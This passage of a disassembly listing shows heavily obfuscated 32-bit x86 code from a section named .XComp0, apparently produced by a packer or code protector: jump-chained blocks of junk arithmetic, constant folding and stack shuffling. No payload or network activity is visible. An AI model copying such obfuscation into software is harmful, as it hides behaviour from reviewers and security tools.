loc_58683B:				; CODE XREF: .XComp0:005989C9j
		xor	[esp], ebp
		jmp	loc_59773F
; ---------------------------------------------------------------------------


loc_586843:				; CODE XREF: .XComp0:005880A4j
		push	eax
		jmp	loc_595C2E
; ---------------------------------------------------------------------------


loc_586849:				; CODE XREF: .XComp0:00586A8Dj
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, 42C24CC7h
		add	edi, esi
		sub	edi, 42C24CC7h
		jmp	loc_588EAC
; ---------------------------------------------------------------------------


loc_58686A:				; CODE XREF: .XComp0:00583F79j
		mov	ebx, [esp]
		push	edx
		jmp	loc_58B46C
; ---------------------------------------------------------------------------


loc_586873:				; CODE XREF: .XComp0:00591167j
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	7C21h
		mov	[esp], eax
		mov	eax, 42F90307h
		mov	ecx, eax
		pop	eax
		or	ecx, 508D648Bh
		push	edx
		mov	edx, 2D4615BAh
		jmp	loc_589428
; ---------------------------------------------------------------------------


loc_58689E:				; CODE XREF: .XComp0:005934FBj
		mov	[esp], ebx
		mov	ebx, 3CF17475h
		or	ebx, 66BC6427h
		not	ebx
		push	eax
		mov	eax, 43DB3D87h
		or	ebx, eax
		pop	eax
		push	esi
		jmp	loc_590B23
; ---------------------------------------------------------------------------


loc_5868BD:				; CODE XREF: .XComp0:00592A63j
		sub	esp, 4
		jmp	loc_597584
; ---------------------------------------------------------------------------


loc_5868C8:				; CODE XREF: .XComp0:005880C3j
		pop	ebx
		push	ebx
		mov	bl, 0E7h
		add	bl, 0CAh
		inc	bl
		add	bl, 65h
		add	bl, 0E4h
		sub	dh, bl
		pop	ebx
		jmp	loc_596FF7
; ---------------------------------------------------------------------------


loc_5868DF:				; CODE XREF: .XComp0:00584E6Bj
		xor	edx, 336D57EAh
		push	dword ptr [esp]
		pop	ebp
		push	7198h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		jmp	loc_58995D
; ---------------------------------------------------------------------------


loc_586911:				; CODE XREF: .XComp0:0058E398j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58C284
; ---------------------------------------------------------------------------


loc_58691E:				; CODE XREF: .XComp0:00584B67j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5957C5
; ---------------------------------------------------------------------------


loc_58692F:				; CODE XREF: .XComp0:0058F28Aj
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 24h
		sub	ebx, 60865ABDh
		add	ebx, edi
		add	ebx, 60865ABDh
		push	edx
		jmp	loc_598D99
; ---------------------------------------------------------------------------


loc_58694F:				; CODE XREF: .XComp0:0058D822j
		pop	esp
		jmp	loc_58636A
; ---------------------------------------------------------------------------


loc_586955:				; CODE XREF: .XComp0:00587B25j
		mov	esp, [esp]
		shr	eax, 0Ah
		jmp	loc_594E69
; ---------------------------------------------------------------------------


loc_586960:				; CODE XREF: .XComp0:00598218j
		pop	ebp
		sub	esi, 3CC846BFh
		sub	esi, ecx
		add	esi, 3CC846BFh
		sub	esi, 17944A88h
		pop	ecx
		jmp	loc_586A92
; ---------------------------------------------------------------------------


loc_58697B:				; CODE XREF: .XComp0:0059339Aj
		sub	ebx, eax
		sub	ebx, 47956E4Bh
		push	30Ch
		mov	[esp], edx
		mov	edx, 1C2E5BAEh
		sub	ebx, edx
		mov	edx, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_58B0EB
; ---------------------------------------------------------------------------


loc_58699D:				; CODE XREF: .XComp0:00594223j
		sub	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_593DE0
; ---------------------------------------------------------------------------


loc_5869AE:				; CODE XREF: .XComp0:005911C2j
		push	ebp
		mov	ebp, 13380879h
		jmp	loc_58483F
; ---------------------------------------------------------------------------


loc_5869B9:				; CODE XREF: .XComp0:00596480j
		push	6C5Ah
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_597525
; ---------------------------------------------------------------------------


loc_5869D2:				; CODE XREF: .XComp0:0058E7F9j
		push	eax
		jmp	loc_596574
; ---------------------------------------------------------------------------


loc_5869D8:				; CODE XREF: .XComp0:0059534Aj
		xor	edx, 6C474291h
		or	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_589AFB
; ---------------------------------------------------------------------------


loc_5869EB:				; CODE XREF: .XComp0:00587929j
		sub	ebx, esi
		jmp	loc_58CA27
; ---------------------------------------------------------------------------


loc_5869F2:				; CODE XREF: .XComp0:005927E5j
		push	esi
		mov	esi, 93B5464h
		sub	ebx, esi
		pop	esi
		push	esi
		jmp	loc_5894FD
; ---------------------------------------------------------------------------


loc_586A01:				; CODE XREF: .XComp0:00588663j
		push	edx
		mov	edx, 4F5F2C9Ch
		push	ebx
		mov	ebx, 2B2E538Dh
		not	ebx
		neg	ebx
		push	esi
		jmp	loc_58B825
; ---------------------------------------------------------------------------


loc_586A17:				; CODE XREF: .XComp0:0058C1EFj
		dec	ecx
		add	ecx, 825114ADh
		jmp	loc_588BEF
; ---------------------------------------------------------------------------


loc_586A23:				; CODE XREF: .XComp0:005921B8j
		xor	ecx, 4C1C73CBh
		add	ecx, 0B500E41Eh
		mov	edx, ecx
		jmp	loc_593928
; ---------------------------------------------------------------------------


loc_586A36:				; CODE XREF: .XComp0:00590FFEj
		push	75E0h
		jmp	loc_5964DA
; ---------------------------------------------------------------------------


loc_586A40:				; CODE XREF: .XComp0:00597824j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_58F8D2
; ---------------------------------------------------------------------------


loc_586A4D:				; CODE XREF: .XComp0:0058D375j
		sub	eax, 48471DAAh
		add	eax, 11B76D67h
		jmp	loc_58F28F
; ---------------------------------------------------------------------------


loc_586A5C:				; CODE XREF: .XComp0:00593B68j
		add	esi, 0E7CBD366h
		add	eax, esi
		pop	esi
		push	esi
		push	eax
		jmp	loc_59078B
; ---------------------------------------------------------------------------


loc_586A6C:				; CODE XREF: .XComp0:00591BAFj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_585230
; ---------------------------------------------------------------------------


loc_586A7D:				; CODE XREF: .XComp0:0058A863j
		xor	edi, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_586A8C:				; CODE XREF: .XComp0:0058479Aj
		push	edi
		jmp	loc_586849
; ---------------------------------------------------------------------------


loc_586A92:				; CODE XREF: .XComp0:00586976j
		mov	edi, esi
		pop	esi
		sub	edi, 0B794E840h
		sub	ecx, edi
		pop	edi
		push	edi
		jmp	loc_58BFE5
; ---------------------------------------------------------------------------


loc_586AA4:				; CODE XREF: .XComp0:00585AABj
		add	ebx, ecx
		sub	ebx, 53371A5Ah
		add	ebx, 126A26B4h
		push	ecx
		push	esi
		mov	esi, 0
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, ebx
		mov	[ecx], dl
		jmp	loc_59134D
; ---------------------------------------------------------------------------


loc_586ACA:				; CODE XREF: .XComp0:00598481j
		and	edi, 1E514EB3h
		jmp	loc_595B79
; ---------------------------------------------------------------------------


loc_586AD5:				; CODE XREF: .XComp0:005841C4j
		push	dword ptr [esp]
		jmp	loc_58F986
; ---------------------------------------------------------------------------


loc_586ADD:				; CODE XREF: .XComp0:00591649j
		mov	eax, esp
		jmp	loc_5933A4
; ---------------------------------------------------------------------------


loc_586AE4:				; CODE XREF: .XComp0:00596293j
		add	cl, 0D6h
		jmp	loc_58C7C9
; ---------------------------------------------------------------------------


loc_586AEC:				; CODE XREF: .XComp0:0059180Dj
		shr	edx, 5
		push	1E45h
		mov	[esp], esi
		jmp	loc_596BCA
; ---------------------------------------------------------------------------


loc_586AFC:				; CODE XREF: .XComp0:0058F0DBj
		mov	ebx, [esp]
		jmp	loc_58F3B4
; ---------------------------------------------------------------------------


loc_586B04:				; CODE XREF: .XComp0:0058F2BAj
		mov	eax, [esp]
		add	esp, 4
		push	5BF85CA1h
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 130271D5h
		jmp	loc_58FAC6
; ---------------------------------------------------------------------------


loc_586B23:				; CODE XREF: .XComp0:005959EBj
		inc	esi
		and	esi, 7CD87345h
		push	eax
		mov	eax, 59D2D9Ah
		neg	eax
		not	eax
		sub	eax, 48093BACh
		inc	eax
		add	eax, 0E1B9AD5h
		jmp	loc_597F21
; ---------------------------------------------------------------------------


loc_586B44:				; CODE XREF: .XComp0:00585BD2j
		pop	edx
		shr	edx, 8
		shl	edx, 4
		push	ebx
		mov	ebx, 884927F1h
		xor	edx, ebx
		pop	ebx
		jmp	loc_5932D5
; ---------------------------------------------------------------------------


loc_586B59:				; CODE XREF: .XComp0:00587820j
		add	ebp, ecx
		pop	ecx
		jmp	loc_5877B5
; ---------------------------------------------------------------------------


loc_586B61:				; CODE XREF: .XComp0:00591278j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_589F2F
; ---------------------------------------------------------------------------


loc_586B7B:				; CODE XREF: .XComp0:005901E6j
		push	esp
		mov	eax, [esp]
		jmp	loc_58A2B8
; ---------------------------------------------------------------------------


loc_586B84:				; CODE XREF: .XComp0:005925A5j
		mov	esi, 43F38933h
		jmp	loc_596DE3
; ---------------------------------------------------------------------------


loc_586B8E:				; CODE XREF: .XComp0:00596E49j
		pop	ebx
		jmp	loc_58EC08
; ---------------------------------------------------------------------------


loc_586B94:				; CODE XREF: .XComp0:00587FC2j
		push	ecx
		jmp	loc_595E17
; ---------------------------------------------------------------------------


loc_586B9A:				; CODE XREF: .XComp0:00583A61j
		push	edx
		mov	dl, 0ACh
		push	ebx
		mov	bl, 56h
		shl	bl, 4
		jmp	loc_5871F9
; ---------------------------------------------------------------------------


loc_586BA8:				; CODE XREF: .XComp0:00592F80j
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 4EFE4735h
		sub	eax, 4EFE4731h
		jmp	loc_58A54E
; ---------------------------------------------------------------------------


loc_586BC3:				; CODE XREF: .XComp0:0058ACA4j
		pop	esi
		push	edi
		jmp	loc_5851A7
; ---------------------------------------------------------------------------


loc_586BCA:				; CODE XREF: .XComp0:00596ED3j
		push	ebx
		sub	dword ptr [esp], 4A117946h
		pop	esi
		add	esi, 4A117946h
		pop	ebx
		jmp	loc_5887F2
; ---------------------------------------------------------------------------


loc_586BDF:				; CODE XREF: .XComp0:00597512j
		mov	eax, 44005535h
		add	ecx, eax
		pop	eax
		add	edi, ecx
		jmp	loc_5945ED
; ---------------------------------------------------------------------------


loc_586BEE:				; CODE XREF: .XComp0:0059281Aj
		push	eax
		jmp	loc_591D9B
; ---------------------------------------------------------------------------


loc_586BF4:				; CODE XREF: .XComp0:00596AE0j
		sub	eax, 44EA3A95h
		jmp	loc_5940EF
; ---------------------------------------------------------------------------


loc_586BFE:				; CODE XREF: .XComp0:0058D06Cj
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_595284
; ---------------------------------------------------------------------------


loc_586C16:				; CODE XREF: .XComp0:00598D73j
		movzx	cx, ah
		push	eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 230B1949h
		shr	ebx, 3
		jmp	loc_584F24
; ---------------------------------------------------------------------------


loc_586C2B:				; CODE XREF: .XComp0:00596C6Aj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5971D6
; ---------------------------------------------------------------------------


loc_586C34:				; CODE XREF: .XComp0:0058B7EBj
		inc	ebp
		or	ebp, 3FDD3A6Ch
		neg	ebp
		dec	ebp
		sub	ebp, 247E3C83h
		add	ebp, 0FE40CCACh
		add	eax, ebp
		pop	ebp
		jmp	loc_58D362
; ---------------------------------------------------------------------------


loc_586C52:				; CODE XREF: .XComp0:0058C5A7j
		mov	eax, [esp]
		push	edx
		jmp	loc_58D908
; ---------------------------------------------------------------------------


loc_586C5B:				; CODE XREF: .XComp0:0058D79Cj
		push	4
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	20E6h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_585461
; ---------------------------------------------------------------------------


loc_586C7F:				; CODE XREF: .XComp0:0059407Cj
		add	ecx, 11FDE148h
		add	eax, ecx
		jmp	loc_5949E2
; ---------------------------------------------------------------------------


loc_586C8C:				; CODE XREF: .XComp0:0059646Aj
		add	esi, edx
		pop	edx
		sub	esp, 4
		jmp	loc_58B61C
; ---------------------------------------------------------------------------


loc_586C97:				; CODE XREF: .XComp0:0058FA29j
		push	ecx
		mov	ecx, 6AEA06C4h
		push	edx
		mov	edx, 3E0C46B1h
		or	edx, 7256505Ch
		not	edx
		xor	edx, 0F319AD7Bh
		jmp	loc_584F84
; ---------------------------------------------------------------------------


loc_586CB6:				; CODE XREF: .XComp0:00593093j
		xor	esi, 1BA0EEDh
		xor	esi, 15F8216Fh
		inc	esi
		xor	esi, 24011669h
		add	ebx, esi
		pop	esi
		sub	ebx, 65E23E25h
		add	eax, ebx
		jmp	loc_58B3C5
; ---------------------------------------------------------------------------


loc_586CD9:				; CODE XREF: .XComp0:005985A6j
		push	eax
		mov	eax, 617D4E6Bh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 52E86284h
		inc	ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	ebp
		dec	dword ptr [esp]
		jmp	loc_590C1D
; ---------------------------------------------------------------------------


loc_586CF9:				; CODE XREF: .XComp0:00583C96j
		pop	ecx
		xchg	ebx, edx
		sub	ebx, 0FFFFFFFFh
		xchg	ebx, edx
		push	ebp
		mov	ebp, 1EEE0ED9h
		add	edx, ebp
		jmp	loc_596E3A
; ---------------------------------------------------------------------------


loc_586D11:				; CODE XREF: .XComp0:00589FC0j
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5879E6
; ---------------------------------------------------------------------------


loc_586D28:				; CODE XREF: .XComp0:0059171Cj
		mov	[esp], eax
		mov	ax, 1738h
		sub	ax, 3296h
		jmp	loc_58936C
; ---------------------------------------------------------------------------


loc_586D38:				; CODE XREF: .XComp0:0058E3BEj
		shl	ebp, 2
		sub	ebp, 7DA40682h
		push	ecx
		mov	ecx, 6BEA0C20h
		sub	ebp, ecx
		pop	ecx
		shl	ebp, 1
		add	ebp, 0E7B73835h
		jmp	loc_597041
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		jmp	loc_5919A5
; ---------------------------------------------------------------------------


loc_586D5E:				; CODE XREF: .XComp0:0058430Ej
		mov	[esp], ecx
		push	edi
		jmp	loc_58BCF0
; ---------------------------------------------------------------------------


loc_586D67:				; CODE XREF: .XComp0:00591652j
		sub	eax, 61D8272Fh
		sub	eax, 45EE0180h
		add	eax, edi
		push	ebx
		mov	ebx, 1A303A5Eh
		not	ebx
		inc	ebx
		inc	ebx
		dec	ebx
		sub	ebx, 9FE1C422h
		add	eax, 181E68F0h
		add	eax, ebx
		sub	eax, 181E68F0h
		pop	ebx
		add	eax, 61D8272Fh
		pop	edi
		jmp	loc_593B24
; ---------------------------------------------------------------------------


loc_586D9C:				; CODE XREF: .XComp0:0058EA57j
		mov	ecx, 5AC60452h
		add	ecx, 1B066494h
		mov	edi, ecx
		pop	ecx
		jmp	loc_5947C8
; ---------------------------------------------------------------------------


loc_586DAF:				; CODE XREF: .XComp0:00591AF1j
		mov	[esp], eax
		push	29C647A9h
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ebx
		push	ebp
		mov	ebp, 416A3C1Ch
		xor	ebp, 57AC45EDh
		or	ebp, 5D9D3EE4h
		add	ebp, 328626EBh
		xor	ebp, 30310443h
		sub	ebp, 6B5064FFh
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 614114D7h
		xchg	eax, ebx
		jmp	loc_589735
; ---------------------------------------------------------------------------


loc_586E04:				; CODE XREF: .XComp0:0058A852j
		sub	ebp, 6DC17751h
		add	ebp, ebx
		add	ebp, 6DC17751h
		mov	ebx, [esp]
		jmp	loc_592F04
; ---------------------------------------------------------------------------


loc_586E1A:				; CODE XREF: .XComp0:00590C1Fj
		push	edx
		mov	edx, 2C6401A2h
		mov	ecx, edx
		pop	edx
		and	ecx, 10F67186h
		shl	ecx, 1
		sub	ecx, 15EE2395h
		inc	ecx
		shr	ecx, 4
		sub	ecx, 5757F85Dh
		jmp	loc_591840
; ---------------------------------------------------------------------------


loc_586E40:				; CODE XREF: .XComp0:0058D0C0j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58B26F
; ---------------------------------------------------------------------------


loc_586E52:				; CODE XREF: .XComp0:005922E4j
		add	edi, 4
		jmp	loc_58C06E
; ---------------------------------------------------------------------------


loc_586E5A:				; CODE XREF: .XComp0:00584AF4j
		push	3237h
		mov	[esp], ebx
		push	7CE50748h
		pop	ebx
		neg	ebx
		sub	ebx, 3930641Fh
		jmp	loc_5859DD
; ---------------------------------------------------------------------------


loc_586E75:				; CODE XREF: .XComp0:0058B67Cj
		pop	ebx
		jmp	loc_597B57
; ---------------------------------------------------------------------------


loc_586E7B:				; CODE XREF: .XComp0:005908B2j
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_595C4F
; ---------------------------------------------------------------------------


loc_586E99:				; CODE XREF: .XComp0:0058E1EBj
		push	edx
		jmp	loc_585A80
; ---------------------------------------------------------------------------


loc_586E9F:				; CODE XREF: .XComp0:00597A09j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	edx, 1
		inc	edx
		shl	edx, 3
		push	esi
		mov	esi, 331224EBh
		push	ecx
		mov	ecx, 10F10783h
		jmp	loc_5845B0
; ---------------------------------------------------------------------------


loc_586EC9:				; CODE XREF: .XComp0:00595211j
		sub	ecx, 1A4D5733h
		jmp	loc_58BF23
; ---------------------------------------------------------------------------


loc_586ED4:				; CODE XREF: .XComp0:0058C048j
		add	edx, ebp
		sub	edx, 2EB8281Bh
		jmp	loc_58F111
; ---------------------------------------------------------------------------


loc_586EE1:				; CODE XREF: .XComp0:00591B8Ej
		sub	dword ptr [esp], 397C0363h
		pop	dword ptr [edx+38h]
		add	dword ptr [edx+38h], 397C0363h
		mov	edi, [esp]
		add	esp, 4
		pop	ecx


loc_586EF9:				; CODE XREF: .XComp0:0058862Cj
		mov	dword ptr [edx+30h], 56EE6128h
		sub	esp, 4
		mov	[esp], edi
		push	2E8Eh
		jmp	loc_58D126
; ---------------------------------------------------------------------------


loc_586F10:				; CODE XREF: .XComp0:005911D8j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1394520Ah
		or	ebp, eax
		pop	eax
		neg	ebp
		push	esi
		mov	esi, 0E70AA9C8h
		xor	ebp, esi
		pop	esi
		push	ebp
		add	dword ptr [esp], 2BF811BEh
		pop	esi
		sub	esi, 2BF811BEh
		pop	ebp
		mov	edx, 59F34219h
		xor	edx, esi
		mov	esi, [esp]
		push	3B6Fh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_593119
; ---------------------------------------------------------------------------


loc_586F61:				; CODE XREF: .XComp0:005980ACj
		add	ecx, esi
		add	ecx, 1D552407h
		sub	ecx, 550A2A26h
		mov	esi, [esp]
		push	edi
		jmp	loc_584740
; ---------------------------------------------------------------------------


loc_586F78:				; CODE XREF: .XComp0:0058F9A2j
		shr	ebx, 2
		xchg	eax, ebx
		not	eax
		jmp	loc_58CE4C
; ---------------------------------------------------------------------------


loc_586F83:				; CODE XREF: .XComp0:0058E266j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edi, 41D16946h
		add	edi, eax
		add	edi, 41D16946h
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_58DC70
; ---------------------------------------------------------------------------


loc_586FA6:				; CODE XREF: .XComp0:00587C66j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_586FB2:				; CODE XREF: .XComp0:005854A1j
		add	eax, 63850B08h
		sub	eax, 6A4D57D5h
		mov	esi, [esp]
		push	133Ch
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_58778E
; ---------------------------------------------------------------------------


loc_586FCE:				; CODE XREF: .XComp0:00596E77j
		mov	ecx, 2AF25D34h
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 1E6C4678h
		sub	ebp, eax
		pop	eax
		jmp	loc_58F6A6
; ---------------------------------------------------------------------------


loc_586FE8:				; CODE XREF: .XComp0:0058A7ACj
		sub	bh, 1
		push	ecx
		jmp	loc_59077F
; ---------------------------------------------------------------------------


loc_586FF1:				; CODE XREF: .XComp0:0058F92Bj
		pop	ebx
		pop	ecx
		jmp	loc_593157
; ---------------------------------------------------------------------------


loc_586FF8:				; CODE XREF: .XComp0:005904F6j
		sub	al, 85h
		add	al, 67h
		add	al, dh
		jmp	loc_5891A5
; ---------------------------------------------------------------------------


loc_587003:				; CODE XREF: .XComp0:00588A37j
		add	[esp+8], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	[esp+4], eax
		jmp	loc_59646F
; ---------------------------------------------------------------------------


loc_587017:				; CODE XREF: .XComp0:0058A334j
		sub	eax, 6E9F6AA3h
		mov	ebx, [esp]
		jmp	loc_58E481
; ---------------------------------------------------------------------------


loc_587024:				; CODE XREF: .XComp0:00585E1Fj
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_58BD21
; ---------------------------------------------------------------------------


loc_587048:				; CODE XREF: .XComp0:0058C61Bj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58EC21
; ---------------------------------------------------------------------------


loc_587062:				; CODE XREF: .XComp0:0058A343j
		push	edx
		mov	edx, 4E3E4085h
		jmp	loc_587A65
; ---------------------------------------------------------------------------


loc_58706D:				; CODE XREF: .XComp0:00592C35j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5872E5
; ---------------------------------------------------------------------------


loc_587091:				; CODE XREF: .XComp0:00597194j
		push	edx
		jmp	loc_5909E1
; ---------------------------------------------------------------------------


loc_587097:				; CODE XREF: .XComp0:005914C6j
		pop	eax
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_58F801
; ---------------------------------------------------------------------------


loc_5870A6:				; CODE XREF: .XComp0:00586534j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_58B310
; ---------------------------------------------------------------------------


loc_5870B4:				; CODE XREF: .XComp0:00596110j
		pop	ebx
		shr	ah, 1
		dec	ah
		jmp	loc_594D33
; ---------------------------------------------------------------------------


loc_5870BE:				; CODE XREF: .XComp0:0058C0F6j
		push	eax
		jmp	loc_5927B1
; ---------------------------------------------------------------------------


loc_5870C4:				; CODE XREF: .XComp0:005887E2j
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		sub	edi, 71B92F7Bh
		jmp	loc_594A3A
; ---------------------------------------------------------------------------


loc_5870E4:				; CODE XREF: .XComp0:005948FCj
		and	ebp, edi
		pop	edi
		jmp	loc_584678
; ---------------------------------------------------------------------------


loc_5870EC:				; CODE XREF: .XComp0:0058D770j
		pop	esi
		add	edi, ecx
		jmp	loc_598EB1
; ---------------------------------------------------------------------------


loc_5870F4:				; CODE XREF: .XComp0:00597AF0j
		add	eax, ecx
		pop	ecx
		jmp	loc_58D3DA
; ---------------------------------------------------------------------------


loc_5870FC:				; CODE XREF: .XComp0:0059455Dj
		add	ecx, 0DB3ABD86h
		add	edi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59788A
; ---------------------------------------------------------------------------


loc_587110:				; CODE XREF: .XComp0:0058E4F2j
		push	ebx
		mov	ebx, 4B8165C7h
		inc	ebx
		add	ebx, 0B47E9A3Ch
		push	ebx
		sub	dword ptr [esp], 26E04C7Bh
		pop	ebp
		jmp	loc_583DB2
; ---------------------------------------------------------------------------


loc_58712B:				; CODE XREF: .XComp0:0059757Fj
		mov	ch, 0E6h
		add	dh, ch
		pop	cx
		sub	dh, 65h
		push	ebx
		mov	bl, 0E7h
		add	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		push	561h
		mov	[esp], ecx
		mov	ch, 4Fh
		sub	dh, ch
		pop	ecx
		jmp	loc_585DDC
; ---------------------------------------------------------------------------


loc_587151:				; CODE XREF: .XComp0:005952EBj
		push	esi
		push	0C20h
		jmp	loc_59345D
; ---------------------------------------------------------------------------


loc_58715C:				; CODE XREF: .XComp0:0058CD67j
		sub	esi, 5CFEB6E0h
		add	eax, esi
		pop	esi
		sub	ebp, 0C746A45h
		jmp	loc_594A1D
; ---------------------------------------------------------------------------


loc_587170:				; CODE XREF: .XComp0:0058AE30j
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, 0C6F5E4Ch
		jmp	loc_585B19
; ---------------------------------------------------------------------------


loc_587187:				; CODE XREF: .XComp0:005843DCj
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	esi
		mov	esi, 35FA5CAEh
		or	esi, 69D11981h
		shl	esi, 6
		push	ebx
		mov	ebx, 3E4C2077h
		sub	esi, ebx
		pop	ebx
		xor	esi, 3AC921FDh
		shr	esi, 7
		xor	esi, 1E768E0Ah
		mov	eax, esi
		jmp	loc_58DB2D
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5871C5:				; CODE XREF: .XComp0:0058548Ej
		mov	ebx, esp
		push	edi
		push	ebp
		mov	ebp, 52BB38D5h
		mov	edi, ebp
		pop	ebp
		sub	edi, 634749DDh
		shl	edi, 1
		dec	edi
		add	edi, 21182215h
		jmp	loc_594CC8
; ---------------------------------------------------------------------------


loc_5871E5:				; CODE XREF: .XComp0:005987FDj
		push	2086h
		jmp	loc_58723C
; ---------------------------------------------------------------------------


loc_5871EF:				; CODE XREF: .XComp0:00594C19j
		mov	ecx, 6C063B23h
		jmp	loc_595997
; ---------------------------------------------------------------------------


loc_5871F9:				; CODE XREF: .XComp0:00586BA3j
		not	bl
		add	bl, 64h
		add	al, bl
		pop	ebx
		jmp	loc_593F24
; ---------------------------------------------------------------------------


loc_587206:				; CODE XREF: .XComp0:0058748Bj
		push	ax
		mov	al, 21h
		jmp	loc_594052
; ---------------------------------------------------------------------------


loc_58720F:				; CODE XREF: .XComp0:0058D189j
		mov	ebx, 0A1874C7h
		dec	ebx
		sub	ebx, 43B7699Bh
		inc	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xor	ebx, 399EF4D7h
		mov	esi, ebx
		pop	ebx
		jmp	loc_588DA3
; ---------------------------------------------------------------------------


loc_58722F:				; CODE XREF: .XComp0:0058AB8Aj
		mov	[esp], edi
		push	6AE0h
		jmp	loc_5848DB
; ---------------------------------------------------------------------------


loc_58723C:				; CODE XREF: .XComp0:005871EAj
		mov	[esp], eax
		push	edx
		mov	edx, 4168409Bh
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, ebp
		pop	ebp
		or	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58BCB4
; ---------------------------------------------------------------------------


loc_587265:				; CODE XREF: .XComp0:00592DF3j
		pop	ebp
		pop	ebx
		sub	edx, ebp
		pop	ebp
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58726F:				; CODE XREF: .XComp0:00598E4Ej
		pop	esp
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_592B58
; ---------------------------------------------------------------------------


loc_587285:				; CODE XREF: .XComp0:00596BC5j
		add	al, 11h
		mov	ecx, [esp]
		add	esp, 4
		sub	al, 25h
		jmp	loc_583A66
; ---------------------------------------------------------------------------


loc_587297:				; CODE XREF: .XComp0:0058CD33j
		mov	[esp], eax
		jmp	loc_59537F
; ---------------------------------------------------------------------------


loc_58729F:				; CODE XREF: .XComp0:0058F06Aj
		add	eax, ecx
		push	ebp
		mov	ebp, 6D476B3Bh
		inc	ebp
		and	ebp, 211F7951h
		sub	ebp, 0C2080737h
		jmp	loc_58CFBD
; ---------------------------------------------------------------------------


loc_5872B9:				; CODE XREF: .XComp0:00592AF8j
		push	esi
		jmp	loc_58D710
; ---------------------------------------------------------------------------


loc_5872BF:				; CODE XREF: .XComp0:005885DCj
		mov	eax, esp
		push	ebp
		push	edi
		mov	edi, 4
		jmp	loc_59418C
